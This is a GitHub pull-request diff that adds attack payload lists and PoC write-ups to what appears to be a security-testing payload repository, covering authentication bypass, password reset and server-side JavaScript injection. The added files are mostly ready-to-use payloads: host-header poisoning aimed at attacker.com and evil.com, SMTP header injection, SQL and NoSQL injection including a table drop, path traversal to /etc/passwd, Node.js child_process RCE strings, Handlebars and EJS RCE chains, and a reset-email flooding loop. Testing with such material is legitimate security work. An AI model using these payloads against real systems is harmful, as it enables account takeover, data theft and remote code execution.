Merge pull request #8 from Stalin-143/copilot/add-more-payloads-for-vulnerabilities

Add password reset, timing attacks, Tor-based, SSJI, and symlink vulnerability payloads
This commit is contained in:
Stalin
2026-01-05 21:31:28 +05:30
committed by GitHub
13 changed files with 5366 additions and 0 deletions
+3
View File
@@ -14,5 +14,8 @@ Authentication bypass vulnerabilities allow an attacker to gain access to a syst
## Testing Approach
Test authentication mechanisms for logical flaws, parameter manipulation, and bypass techniques that allow unauthorized access.
## Related Resources
For comprehensive password reset vulnerability testing, see the **[Password Reset](../Password-Reset/)** directory which contains detailed PoC examples and specialized payloads for password reset attacks.
## Payloads
See `auth-bypass-payloads.txt` for a comprehensive list of authentication bypass payloads and techniques.
@@ -119,6 +119,50 @@ token=&email=attacker@example.com
token=0
token=null
token=false
token=undefined
token=%20
token=true
email[]=victim@example.com&email[]=attacker@example.com
email=victim@example.com%0Acc:attacker@example.com
email=victim@example.com%0Abcc:attacker@example.com
# Password reset token manipulation
reset_token=' OR '1'='1
reset_token={"$gt": ""}
reset_token=*
reset_token=admin'--
user_id=1&token=valid_token
user_id=999&token=valid_token
# Host header injection for password reset poisoning
Host: attacker.com
X-Forwarded-Host: attacker.com
X-Host: attacker.com
# Password reset without verification
new_password=Pass123&confirm_password=Pass123
# (without providing reset token or current password)
# Password reset endpoint enumeration
POST /api/password/reset
POST /api/v1/auth/password-reset
POST /password-reset
POST /forgot-password
POST /reset-password
PUT /api/users/password
PATCH /account/password
# Weak token brute force
token=000000
token=111111
token=123456
token=0000
token=1234
# Bypass email verification in reset
email_verified=true
verified=true
skip_verification=true
# OTP/2FA bypass
otp=000000
@@ -268,3 +312,142 @@ verified=false&verified=true
# Skip step 2 in multi-step authentication
# Reuse old session tokens
# Replay old authentication requests
# ============================================
# COMMON BUG BOUNTY FINDINGS
# ============================================
# JWT "none" algorithm bypass
Authorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJhZG1pbiJ9.
alg: none
# JWT weak secret brute force
# Try common secrets: secret, password, 123456, jwt, key
# Account takeover via email change
email=victim@example.com&new_email=attacker@example.com
# Then reset password using attacker's email
# Broken access control via UUID manipulation
user_id=550e8400-e29b-41d4-a716-446655440000
# Try sequential or predictable UUIDs
# Authentication bypass via forced browsing
/admin/dashboard
/api/v1/admin/users
/internal/admin
/console
/actuator
/swagger-ui.html
/debug
# User enumeration via timing attacks
username=existing_user (slower response)
username=nonexistent (faster response)
# Password policy bypass
password=Pass123!@#$%^&*()_+{}[]|:;<>,.?/~`
# Very long password that might bypass length checks
password=AAAAA....(10000 chars)
# Multi-account linking exploitation
link_account=victim@example.com
oauth_connect=victim_account_id
# Session fixation via URL
?PHPSESSID=attacker_session_id
?session=attacker_controlled_value
?token=known_token
# Authentication via social login manipulation
oauth_id=victim_oauth_id
provider=google&user_id=victim_id
# Register with existing email via race condition
# Send 10 simultaneous registration requests with same email
# Account takeover via referral code
referral_code=victim_referral
invite_code=admin_invite
# Authentication bypass via API version manipulation
/api/v1/login (with strict auth)
/api/v0/login (might have weak auth)
/api/beta/login
/api/internal/login
# Backup authentication endpoints
/login.php.bak
/auth.php~
/login.php.old
/authentication.php.backup
# Default development credentials
username=dev&password=dev
username=developer&password=developer123
username=staging&password=staging123
username=debug&password=debug
# Privilege escalation via user role manipulation
role=user&role=admin
user_type=regular&user_type=administrator
is_privileged=false&is_privileged=true
access_level=1&access_level=99
# Account takeover via subdomain takeover
# If auth uses subdomain cookies, takeover auth.example.com
# Bypass via file upload to authentication directory
# Upload .htaccess to disable authentication
# Upload web shell to /admin/.htaccess
# Authentication bypass via cache poisoning
X-Forwarded-Host: attacker.com
# Cache the response and serve to all users
# Login CSRF to force login as attacker
<form action="https://victim.com/login" method="POST">
<input name="username" value="attacker">
<input name="password" value="attacker_password">
</form>
# Insecure direct object reference in auth
/auth/verify/USER_ID_1
/auth/verify/USER_ID_2
/auth/activate/TOKEN_1
# Authentication via header injection
Cookie: authenticated=true; admin=true
Cookie: PHPSESSID=admin_session; role=administrator
# Time-based authentication bypass
# Set system time to future/past to bypass token expiration
timestamp=9999999999
valid_until=2099-01-01
expires=253402300799
# Biometric authentication bypass
# Send empty biometric data
fingerprint=
face_id=null
biometric_token=
# MFA bypass via backup codes
backup_code=000000
recovery_code=111111
emergency_code=123456
# Authentication via registration endpoint abuse
/register?username=admin&password=new_pass&force=true
/signup?email=admin@example.com&override=true
# Subdomain authentication inheritance
# Login at login.example.com transfers to admin.example.com
# Cross-site authentication via postMessage
postMessage({type:'auth',token:'admin_token'}, '*')
# Authentication bypass via request method override
X-HTTP-Method-Override: GET
X-Method-Override: GET
# Change POST to GET to bypass CSRF and auth checks
+424
View File
@@ -0,0 +1,424 @@
# Password Reset Vulnerabilities
## Description
Password reset vulnerabilities occur when the password recovery mechanism is poorly implemented, allowing attackers to take over user accounts. These vulnerabilities are critical as they directly lead to account compromise without requiring the original password.
## Common Vulnerabilities in Password Reset Flow
### 1. **Token Prediction/Weak Token Generation**
Reset tokens that are predictable or use weak randomness can be guessed or brute-forced.
### 2. **Token Not Invalidated**
Reset tokens that remain valid after use or after password change allow replay attacks.
### 3. **No Rate Limiting**
Lack of rate limiting allows attackers to brute-force reset tokens or flood users with reset emails.
### 4. **Token Leakage**
Tokens exposed in referrer headers, logs, or through other channels.
### 5. **Host Header Injection**
Manipulating the Host header to receive password reset links with attacker-controlled domains.
### 6. **Parameter Pollution**
Adding multiple email parameters to receive reset tokens for victim accounts.
### 7. **Token Reuse**
Tokens that don't expire or can be reused multiple times.
### 8. **IDOR in Reset Flow**
Manipulating user IDs or identifiers to reset other users' passwords.
### 9. **Password Reset Poisoning**
Injecting malicious URLs in password reset emails through header manipulation.
### 10. **No Email Verification**
System accepts password reset for any email without verification.
## Common Attack Vectors
- Password reset forms
- Reset token generation endpoints
- Password change endpoints
- Reset link handling
- Email verification bypass
- Token validation endpoints
## Testing Methodology & PoC Examples
### PoC 1: Host Header Injection for Password Reset Poisoning
**Vulnerability:** Application uses Host header to generate password reset links.
**Steps to Test:**
1. Intercept password reset request
2. Manipulate the Host header
3. Check if reset link contains attacker's domain
**Request:**
```http
POST /forgot-password HTTP/1.1
Host: attacker.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 27
email=victim@example.com
```
**Expected Result:** Victim receives email with reset link pointing to `http://attacker.com/reset?token=...`
**Alternate Headers to Test:**
```http
X-Forwarded-Host: attacker.com
X-Host: attacker.com
X-Forwarded-Server: attacker.com
```
---
### PoC 2: Password Reset Token Brute Force
**Vulnerability:** Weak or predictable reset tokens with no rate limiting.
**Steps to Test:**
1. Request password reset for your test account
2. Analyze the token format (numeric? alphanumeric? length?)
3. Use automated tools to brute force tokens
4. Check if rate limiting is enforced
**Example Token Patterns to Test:**
- 4-6 digit numeric codes: `0000` to `999999`
- Short alphanumeric: `a1b2c3`
- Predictable UUIDs or timestamps
- Sequential tokens
**Burp Suite Intruder Payload:**
```http
POST /reset-password HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
email=test@example.com&token=§000000§
```
---
### PoC 3: Parameter Pollution to Hijack Reset Token
**Vulnerability:** Application sends reset token to both victim and attacker when multiple email parameters are provided.
**Steps to Test:**
1. Intercept password reset request
2. Add additional email parameter with attacker's email
3. Check if both emails receive reset tokens
**Request:**
```http
POST /forgot-password HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
email=victim@example.com&email=attacker@example.com
```
**Alternative Formats:**
```http
email=victim@example.com,attacker@example.com
email[]=victim@example.com&email[]=attacker@example.com
email=victim@example.com%20attacker@example.com
email=victim@example.com%0Acc:attacker@example.com
```
---
### PoC 4: Token Not Invalidated After Use
**Vulnerability:** Reset tokens remain valid after password has been changed.
**Steps to Test:**
1. Request password reset for your test account
2. Receive reset token via email
3. Use token to reset password
4. Try using the same token again
5. Token should be rejected but if it works, vulnerability exists
**Request:**
```http
POST /reset-password HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
token=abc123xyz&new_password=NewPassword123&confirm_password=NewPassword123
```
---
### PoC 5: IDOR in Password Reset
**Vulnerability:** User ID or identifier can be manipulated to reset other users' passwords.
**Steps to Test:**
1. Request password reset for your account
2. Intercept the reset confirmation request
3. Change user_id or identifier to another user
4. Complete password reset
**Request:**
```http
POST /reset-password HTTP/1.1
Host: example.com
Content-Type: application/json
```
**Change to:**
```json
{
"user_id": "5678",
"token": "valid_token",
"new_password": "NewPassword123"
}
```
---
### PoC 6: No Rate Limiting on Reset Requests
**Vulnerability:** Application allows unlimited password reset requests.
**Steps to Test:**
1. Send 100+ password reset requests for the same email
2. Check if all requests are processed
3. Check victim's email inbox for spam
**Automated Test:**
```bash
for i in {1..100}; do
curl -X POST https://example.com/forgot-password \
-d "email=victim@example.com"
done
```
**Impact:** Email flooding, denial of service, token brute force enablement
---
### PoC 7: Token Exposed in Referer Header
**Vulnerability:** Reset token in URL is leaked via Referer header.
**Steps to Test:**
1. Receive password reset email with token in URL
2. Click the reset link
3. On the reset page, click any external link
4. Check if Referer header contains the reset token
**Example:**
```
Reset URL: https://example.com/reset?token=abc123xyz
User clicks external link to: https://attacker.com/page
Referer: https://example.com/reset?token=abc123xyz
```
**Fix:** Use POST method or store token in session, not URL
---
### PoC 8: Response Manipulation to Bypass Verification
**Vulnerability:** Client-side validation or response manipulation allows password reset.
**Steps to Test:**
1. Request password reset with invalid token
2. Intercept server response
3. Change error response to success response
4. Check if password is actually reset
**Original Response:**
```json
{
"status": "error",
"message": "Invalid token",
"valid": false
}
```
**Modified Response:**
```json
{
"status": "success",
"message": "Token valid",
"valid": true
}
```
---
### PoC 9: Token in Password Reset Link Never Expires
**Vulnerability:** Reset tokens have no expiration time.
**Steps to Test:**
1. Request password reset
2. Save the reset link
3. Wait 24-48 hours (or longer)
4. Try using the old reset link
5. If it works, tokens don't expire
**Best Practice:** Tokens should expire in 15-30 minutes
---
### PoC 10: Password Reset via Username Instead of Email
**Vulnerability:** System allows password reset using username enumeration.
**Steps to Test:**
1. Try resetting password using username instead of email
2. Observe different responses for valid vs invalid usernames
3. Enumerate valid usernames
**Request:**
```http
POST /forgot-password HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
username=admin
```
**Response Analysis:**
- Valid user: "Reset link sent"
- Invalid user: "User not found"
---
### PoC 11: Weak Cryptographic Token Generation
**Vulnerability:** Predictable tokens due to weak randomness.
**Steps to Test:**
1. Request multiple password reset tokens
2. Analyze patterns in tokens
3. Check if tokens are based on:
- Current timestamp
- User ID
- Sequential numbers
- Weak hash functions (MD5 of predictable data)
**Example Weak Token:**
```
Token: md5(user_id + timestamp)
If user_id=1000 and you know approximate time, token is predictable
```
---
### PoC 12: Authentication Bypass via Password Reset
**Vulnerability:** Password reset endpoint doesn't require current password.
**Steps to Test:**
1. While logged in to your account
2. Request password reset
3. Complete reset without providing current password
4. Check if 2FA or additional verification is bypassed
---
## Tools for Testing
### Burp Suite
- Intruder for token brute forcing
- Repeater for parameter manipulation
- Scanner for automated detection
### Custom Scripts
```python
import requests
# Test for rate limiting
for i in range(100):
response = requests.post(
'https://example.com/forgot-password',
data={'email': 'victim@example.com'}
)
print(f"Request {i}: {response.status_code}")
```
### Token Analysis
```python
# Analyze token entropy and patterns
tokens = [
'abc123',
'abc124',
'abc125'
]
# Check for sequential patterns, low entropy, predictability
```
## Exploitation Impact
- **High:** Direct account takeover
- **Critical:** If admin accounts can be compromised
- **Data Breach:** Access to sensitive user data
- **Reputation Damage:** Loss of user trust
## Remediation
1. **Use Cryptographically Secure Random Tokens**
- Minimum 32 characters
- Use `crypto.randomBytes()` or equivalent
2. **Implement Token Expiration**
- 15-30 minutes validity
- One-time use only
3. **Rate Limiting**
- Limit reset requests per email/IP
- Implement CAPTCHA after multiple attempts
4. **Invalidate Old Tokens**
- After password change
- After successful use
- After expiration time
5. **Use POST Method**
- Never put tokens in URL/GET parameters
- Prevent Referer leakage
6. **Validate Host Header**
- Whitelist allowed domains
- Don't use Host header in email generation
7. **Implement Proper Email Verification**
- Confirm email ownership
- Send notifications for reset attempts
8. **Multi-Factor Authentication**
- Require additional verification
- SMS/App-based OTP
9. **Account Lockout**
- Temporary lock after multiple failed attempts
- Notify user of suspicious activity
10. **Security Logging**
- Log all reset attempts
- Monitor for abuse patterns
- Alert on suspicious behavior
## References
- [OWASP Authentication Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html)
- [OWASP Forgot Password Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Forgot_Password_Cheat_Sheet.html)
- [Password Reset Poisoning](https://portswigger.net/web-security/host-header/exploiting/password-reset-poisoning)
## Payloads
See `password-reset-payloads.txt` for a comprehensive list of password reset attack payloads.
- [Password Reset Poisoning](https://portswigger.net/web-security/host-header/exploiting/password-reset-poisoning)
## Payloads
See `password-reset-payloads.txt` for a comprehensive list of password reset attack payloads.
+591
View File
@@ -0,0 +1,591 @@
# Password Reset Vulnerability Payloads
# ============================================
# 1. HOST HEADER INJECTION PAYLOADS
# ============================================
# Basic host header manipulation
Host: attacker.com
Host: evil.com
Host: attacker.com:80
Host: localhost
# X-Forwarded headers
X-Forwarded-Host: attacker.com
X-Forwarded-Host: evil.com
X-Forwarded-Server: attacker.com
X-Host: attacker.com
X-Forwarded-For: attacker.com
# Absolute URL in Host header
Host: https://attacker.com
Host: http://evil.com/reset
# Host header with port manipulation
Host: example.com:@attacker.com
Host: example.com@attacker.com
Host: example.com%00.attacker.com
Host: example.com%0d%0aHost:%20attacker.com
# Multiple host headers
Host: example.com
Host: attacker.com
# Host header with path
Host: example.com/reset
Host: attacker.com/../example.com
# ============================================
# 2. PARAMETER POLLUTION PAYLOADS
# ============================================
# Multiple email parameters
email=victim@example.com&email=attacker@example.com
email[]=victim@example.com&email[]=attacker@example.com
email=victim@example.com,attacker@example.com
email=victim@example.com%20attacker@example.com
email=victim@example.com|attacker@example.com
email=victim@example.com;attacker@example.com
# Email with CC/BCC injection
email=victim@example.com%0Acc:attacker@example.com
email=victim@example.com%0Abcc:attacker@example.com
email=victim@example.com%0D%0ACC:attacker@example.com
email=victim@example.com%0d%0aBcc:attacker@example.com
# JSON array pollution
{"email": ["victim@example.com", "attacker@example.com"]}
{"email": "victim@example.com", "email": "attacker@example.com"}
# Multiple parameters with different names
email=victim@example.com&mail=attacker@example.com
email=victim@example.com&username=attacker
to=victim@example.com&cc=attacker@example.com
# ============================================
# 3. TOKEN MANIPULATION PAYLOADS
# ============================================
# Empty token
token=
token=%20
token=null
token=undefined
token=0
# Boolean bypass
token=true
token=false
token=1
token=0
# Array manipulation
token[]=valid_token
token[]=
token[0]=valid_token
# SQL injection in token
token=' OR '1'='1
token=1' OR '1'='1'--
token=' OR 1=1--
token=admin'--
token='; DROP TABLE tokens;--
# NoSQL injection in token
{"token": {"$gt": ""}}
{"token": {"$ne": null}}
{"token": {"$regex": ".*"}}
# Path traversal in token
token=../../../../../../etc/passwd
token=....//....//....//etc/passwd
token=..%2F..%2F..%2Fetc%2Fpasswd
# Token with special characters
token=<script>alert(1)</script>
token=javascript:alert(1)
token=%00
token=%0d%0a
# Wildcard token
token=*
token=%
token=.*
token=.+
# ============================================
# 4. USER IDENTIFIER MANIPULATION (IDOR)
# ============================================
# User ID manipulation
user_id=1
user_id=2
user_id=admin
user_id=0
user_id=-1
user_id=999999
# Username manipulation
username=admin
username=administrator
username=root
username=victim
# Email manipulation
email=admin@example.com
email=admin@localhost
email=root@localhost
# UUID manipulation
user_uuid=00000000-0000-0000-0000-000000000001
user_uuid=11111111-1111-1111-1111-111111111111
# Account ID variations
account_id=1&user_id=2
uid=admin
user=admin
# ============================================
# 5. RATE LIMITING BYPASS PAYLOADS
# ============================================
# IP header spoofing
X-Forwarded-For: 1.2.3.4
X-Forwarded-For: 127.0.0.1
X-Real-IP: 1.2.3.4
X-Originating-IP: 1.2.3.4
X-Remote-IP: 1.2.3.4
X-Remote-Addr: 1.2.3.4
X-Client-IP: 1.2.3.4
# Randomized IPs for each request
X-Forwarded-For: <random_ip>
X-Real-IP: 192.168.1.<1-255>
# Multiple IP headers
X-Forwarded-For: 1.1.1.1, 2.2.2.2, 3.3.3.3
X-Forwarded-For: 127.0.0.1
X-Real-IP: 192.168.1.1
# Session manipulation
session_id=<different_session_each_request>
PHPSESSID=<random_session>
# User agent rotation
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7)
User-Agent: Mozilla/5.0 (X11; Linux x86_64)
# ============================================
# 6. WEAK TOKEN PATTERNS TO BRUTE FORCE
# ============================================
# 4-digit numeric codes
0000
0001
0002
...
9999
# 6-digit numeric codes (common OTP length)
000000
000001
...
999999
# Sequential tokens
token_1
token_2
token_3
# Timestamp-based tokens (Unix timestamp)
1609459200
1609459201
1609459202
# MD5 of simple inputs
5f4dcc3b5aa765d61d8327deb882cf99 (MD5 of "password")
e10adc3949ba59abbe56e057f20f883e (MD5 of "123456")
# Short alphanumeric (low entropy)
aaa
aab
aac
...
zzz
# Base64 encoded simple strings
YWRtaW4= (admin)
dGVzdA== (test)
MTIzNDU2 (123456)
# ============================================
# 7. RESPONSE MANIPULATION PAYLOADS
# ============================================
# These are used in client-side manipulation
{"valid": false} -> {"valid": true}
{"authenticated": false} -> {"authenticated": true}
{"error": "Invalid token"} -> {"success": "Token valid"}
{"status": 401} -> {"status": 200}
{"token_valid": false} -> {"token_valid": true}
# ============================================
# 8. ACCOUNT ENUMERATION PAYLOADS
# ============================================
# Valid vs invalid email testing
email=admin@example.com
email=administrator@example.com
email=test@example.com
email=nonexistent@example.com
email=invalid@invalid.invalid
# Username enumeration
username=admin
username=administrator
username=root
username=test
username=user
username=demo
username=guest
# Email format variations
email=admin
email=admin@
email=@example.com
email=admin@@example.com
email=admin@.com
# ============================================
# 9. EMAIL INJECTION PAYLOADS
# ============================================
# SMTP header injection
email=victim@example.com%0D%0ATo:attacker@evil.com
email=victim@example.com%0ABcc:attacker@evil.com
email=victim@example.com%0ASubject:Malicious
# Email with newline injection
email=victim@example.com%0A%0AAttacker content
email=victim@example.com\r\nBcc:attacker@evil.com
email=victim@example.com\nTo:attacker@evil.com
# Multiple recipients
email=victim@example.com,attacker@evil.com
email=victim@example.com;attacker@evil.com
email="victim@example.com, attacker@evil.com"
# ============================================
# 10. CRYPTO ANALYSIS PAYLOADS
# ============================================
# Test for weak encryption/encoding
token=base64_decode_this
token=rot13_this
token=hex_decode_this
# Known weak hashes to test
token=d41d8cd98f00b204e9800998ecf8427e (MD5 of empty string)
token=5d41402abc4b2a76b9719d911017c592 (MD5 of "hello")
# ============================================
# 11. TIME-BASED TESTING PAYLOADS
# ============================================
# Future timestamps
valid_until=9999999999
expires_at=2099-12-31
expiry=9999999999999
# Past timestamps (should be invalid)
timestamp=0
timestamp=1
created_at=1970-01-01
# ============================================
# 12. WORKFLOW BYPASS PAYLOADS
# ============================================
# Skip verification step
verified=true
email_verified=true
skip_verification=true
bypass=true
# Status manipulation
status=completed
status=verified
status=approved
password_reset_completed=true
# Step manipulation
step=1
step=3
skip_step=2
current_step=final
# ============================================
# 13. API-SPECIFIC PAYLOADS
# ============================================
# GraphQL mutations
{"query":"mutation{resetPassword(email:\"victim@example.com\"){success}}"}
# GraphQL mutation with empty token (testing bypass)
{"query":"mutation{resetPassword(email:\"admin@example.com\",token:\"\"){success}}"}
# REST API variations
PUT /api/v1/users/1/password
PATCH /api/v1/password/reset
POST /api/reset
POST /api/v2/auth/forgot-password
# ============================================
# 14. SPECIAL CHARACTERS & ENCODING
# ============================================
# URL encoding
email=victim%40example.com
email=victim%2540example.com (double encoding)
# Unicode characters
email=victim@еxample.com (Cyrillic 'e')
email=admin@example.com
# Null bytes
email=victim@example.com%00
email=victim@example.com%00.attacker.com
token=valid_token%00
# HTML encoding
email=victim&#64;example.com
email=victim&commat;example.com
# ============================================
# 15. BUSINESS LOGIC BYPASS
# ============================================
# Negative values
user_id=-1
token_attempts=-1
rate_limit=-1
# Very large numbers
user_id=999999999
user_id=2147483647
user_id=9999999999999999999
# Array manipulation
user_id[]=1
user_id[]=2
emails[]=victim@example.com
# Type juggling
user_id="1"
user_id=1
user_id=true
user_id=null
# ============================================
# 16. CASE SENSITIVITY BYPASS
# ============================================
email=ADMIN@EXAMPLE.COM
email=Admin@Example.Com
username=ADMIN
username=AdMiN
token=ABCDEF
token=AbCdEf
# ============================================
# 17. LINK MANIPULATION
# ============================================
# Redirect after reset
redirect_url=https://attacker.com
return_url=https://evil.com
next=https://attacker.com/capture
callback=https://evil.com
# Open redirect in reset flow
redirect=//attacker.com
redirect=///attacker.com
redirect=/\/\attacker.com
redirect=//google.com@attacker.com
# ============================================
# 18. CORS & ORIGIN MANIPULATION
# ============================================
Origin: https://attacker.com
Origin: null
Referer: https://attacker.com/reset
Access-Control-Allow-Origin: *
# ============================================
# 19. RACE CONDITION PAYLOADS
# ============================================
# Send simultaneous requests
# Multiple threads requesting:
POST /reset-password with same token
POST /forgot-password for same email
POST /verify-token with same token
# ============================================
# 20. VERBOSE ERROR MESSAGES
# ============================================
# Test different invalid inputs to enumerate:
email=nonexistent@example.com
# Expected: "Email not found" (reveals valid emails)
token=invalid
# Expected: "Invalid token" vs "Expired token" (information disclosure)
user_id=9999
# Expected: "User does not exist" (user enumeration)
# ============================================
# 21. CAPTCHA BYPASS
# ============================================
captcha=
g-recaptcha-response=
h-captcha-response=
recaptcha_token=null
captcha_token=
skip_captcha=true
# ============================================
# 22. TWO-FACTOR BYPASS VIA PASSWORD RESET
# ============================================
# Test if password reset bypasses 2FA
skip_2fa=true
bypass_2fa=true
2fa_enabled=false
require_otp=false
mfa_required=false
# ============================================
# 23. PASSWORD CONFIRMATION BYPASS
# ============================================
# Missing confirmation field
new_password=NewPass123
# (without confirm_password field)
# Mismatched passwords
new_password=NewPass123
confirm_password=DifferentPass456
# Empty confirmation
new_password=NewPass123
confirm_password=
# ============================================
# 24. WEAK PASSWORD ALLOWED
# ============================================
# Test if weak passwords are accepted in reset
new_password=123
new_password=password
new_password=admin
new_password=123456
new_password=12345678
new_password=qwerty
new_password=abc123
# ============================================
# 25. SESSION FIXATION
# ============================================
# Set session before reset
Cookie: session_id=attacker_controlled_value
PHPSESSID=attacker_session
# After victim resets password with this session,
# attacker can use the session to access account
# ============================================
# 26. HTTP METHOD TAMPERING
# ============================================
# Try different HTTP methods on reset endpoint
GET /api/reset-password?token=abc&password=new
PUT /api/reset-password
DELETE /reset-password
PATCH /reset-password
HEAD /reset-password
OPTIONS /reset-password
# ============================================
# 27. CONTENT-TYPE MANIPULATION
# ============================================
Content-Type: application/json
Content-Type: application/x-www-form-urlencoded
Content-Type: multipart/form-data
Content-Type: text/plain
Content-Type: application/xml
# ============================================
# 28. PASSWORD IN RESPONSE
# ============================================
# Check if new password is returned in response
# After setting: new_password=SecretPass123
# Response should NOT contain:
{"password": "SecretPass123"}
{"new_password": "SecretPass123"}
# ============================================
# 29. NO CONFIRMATION EMAIL
# ============================================
# Test if user is notified after password reset
# User should receive confirmation that password was changed
# If not, attacker can silently reset passwords
# ============================================
# 30. TEMPORAL ATTACKS
# ============================================
# Timing attack to enumerate users
# Measure response time difference:
email=valid@example.com (slower response)
email=invalid@example.com (faster response)
# ============================================
# TEST SCENARIOS
# ============================================
# Scenario 1: Reset without current password
POST /change-password
new_password=NewPassword123
# Should require old_password field
# Scenario 2: Token reuse
1. Get token: /forgot-password?email=test@example.com
2. Use token: /reset?token=abc123&password=new1
3. Try token again: /reset?token=abc123&password=new2
# Second attempt should fail
# Scenario 3: Expired token
1. Get token
2. Wait > expiration time
3. Try to use expired token
# Should be rejected
# Scenario 4: Token for different user
1. Request reset for user A
2. Get token for user A
3. Try to use it for user B
# Should be rejected
# Scenario 5: Multiple active tokens
1. Request reset (get token1)
2. Request reset again (get token2)
3. Use token1
# token1 should still work, or only latest token should work
+7
View File
@@ -13,6 +13,7 @@ This repository contains a complete collection of testing payloads organized by
- **[XSS (Cross-Site Scripting)](./XSS/)** - Client-side code injection
- **[Command Injection](./Command-Injection/)** - OS command execution & symbolic link attacks
- **[SSTI (Server-Side Template Injection)](./SSTI/)** - Template engine exploitation & RCE
- **[SSJI (Server-Side JavaScript Injection)](./SSJI/)** - Node.js code injection & RCE
- **[CSV Injection](./CSV-Injection/)** - Formula injection in spreadsheets
- **[LDAP Injection](./LDAP-Injection/)** - Directory service manipulation
- **[Log Injection](./Log-Injection/)** - Log file manipulation
@@ -26,12 +27,15 @@ This repository contains a complete collection of testing payloads organized by
**Authentication & Authorization:**
- **[Authentication Bypass](./Authentication-Bypass/)** - Auth bypass techniques
- **[Password Reset](./Password-Reset/)** - Password reset vulnerabilities & account takeover
- **[Weak Passwords](./Weak-Passwords/)** - Common weak passwords and defaults
**Server-Side Vulnerabilities:**
- **[SSRF](./SSRF/)** - Server-side request forgery
- **[Deserialization](./Deserialization/)** - Insecure deserialization
- **[File Upload](./File-Upload/)** - Malicious file upload & RCE techniques
- **[Symbolic Link Attacks](./Symbolic-Link-Attacks/)** - Symlink exploitation & file system attacks
- **[Timing Attacks](./Timing-Attacks/)** - Side-channel timing analysis & user enumeration
**Configuration & Design:**
- **[Security Misconfiguration](./Security-Misconfiguration/)** - Default credentials, misconfigurations
@@ -42,6 +46,9 @@ This repository contains a complete collection of testing payloads organized by
- **[Weak Cryptography](./Weak-Cryptography/)** - Weak crypto implementations
- **[Vulnerable Components](./Vulnerable-Components/)** - Known vulnerable libraries
**Network & Anonymity:**
- **[Tor-Based Attacks](./Tor-Based-Attacks/)** - Tor anonymity exploitation & onion service testing
## 🎯 Purpose
This repository serves as a comprehensive reference for security professionals to:
+544
View File
@@ -0,0 +1,544 @@
# Server-Side JavaScript Injection (SSJI)
## Description
Server-Side JavaScript Injection (SSJI) is a vulnerability that occurs when user-controlled input is evaluated or executed as JavaScript code on the server side. This commonly affects Node.js applications, but can also impact other server-side JavaScript environments like MongoDB queries, ElectronJS applications, and server-side rendering frameworks.
## How SSJI Works
Unlike client-side XSS, SSJI executes JavaScript code on the server, potentially allowing attackers to:
- Execute arbitrary system commands
- Access server files and sensitive data
- Bypass authentication and authorization
- Manipulate database queries
- Achieve Remote Code Execution (RCE)
## Common Vulnerable Functions
### Node.js
- `eval()` - Directly evaluates JavaScript code
- `Function()` constructor - Creates and executes functions
- `setTimeout()/setInterval()` with string arguments
- `vm.runInNewContext()` without proper sandboxing
- `child_process.exec()` with unsanitized input
- Template engines (Handlebars, Pug, EJS) with unsafe rendering
### MongoDB
- `$where` operator - Evaluates JavaScript in queries
- `mapReduce()` - Can execute arbitrary JavaScript
- `$function` aggregation operator
## Common Attack Vectors
- User input fields
- JSON API parameters
- Template rendering
- MongoDB queries
- Configuration files
- Cookie values
- HTTP headers
- File upload metadata
- Server-side rendering (SSR)
## Testing Methodology & PoC Examples
### PoC 1: Basic eval() Injection
**Vulnerability:** User input passed directly to `eval()`.
**Vulnerable Code:**
```javascript
// Vulnerable Node.js code
app.get('/calculate', (req, res) => {
const result = eval(req.query.expression);
res.json({ result });
});
```
**Steps to Test:**
1. Identify input that might be evaluated
2. Test with mathematical expressions
3. Inject JavaScript code
**Request:**
```http
GET /calculate?expression=2+2 HTTP/1.1
Host: example.com
# Normal response: {"result": 4}
GET /calculate?expression=require('child_process').execSync('whoami').toString() HTTP/1.1
Host: example.com
# RCE: Returns username
```
**Payload Examples:**
```javascript
2+2
Math.random()
require('fs').readFileSync('/etc/passwd', 'utf8')
require('child_process').execSync('cat /etc/passwd').toString()
global.process.mainModule.require('child_process').execSync('id').toString()
```
---
### PoC 2: Function Constructor Injection
**Vulnerability:** Using Function constructor with user input.
**Vulnerable Code:**
```javascript
app.post('/execute', (req, res) => {
const fn = new Function('return ' + req.body.code);
const result = fn();
res.json({ result });
});
```
**Request:**
```http
POST /execute HTTP/1.1
Host: example.com
Content-Type: application/json
```
**Payloads:**
```javascript
require('fs').readFileSync('/etc/passwd', 'utf8')
process.env
global.process.mainModule.constructor._load('child_process').execSync('whoami').toString()
```
---
### PoC 3: MongoDB $where Injection
**Vulnerability:** User input in MongoDB `$where` queries.
**Vulnerable Code:**
```javascript
// Vulnerable MongoDB query
app.get('/users', async (req, res) => {
const users = await User.find({
$where: `this.username == '${req.query.username}'`
});
res.json(users);
});
```
**Request:**
```http
GET /users?username=admin' || '1'=='1 HTTP/1.1
Host: example.com
# Returns all users
GET /users?username=admin'; return true; // HTTP/1.1
Host: example.com
# Bypasses query, returns all users
```
**Payloads:**
```javascript
admin' || '1'=='1
'; return true; //
'; return this.password.match(/^a/); //
'; var http = require('http'); return true; //
'; db.users.drop(); return true; //
```
---
### PoC 4: Template Injection (Handlebars, Pug, EJS)
**Vulnerability:** Unsafe template rendering with user input.
**Vulnerable Handlebars Code:**
```javascript
const Handlebars = require('handlebars');
app.get('/greet', (req, res) => {
const template = Handlebars.compile('Hello {{name}}!');
const result = template({ name: req.query.name });
res.send(result);
});
```
**Handlebars SSJI Payloads:**
```handlebars
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').execSync('whoami');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}
```
**EJS Template Injection:**
```javascript
<%= global.process.mainModule.require('child_process').execSync('cat /etc/passwd') %>
<%= require('child_process').execSync('ls -la').toString() %>
```
**Pug Template Injection:**
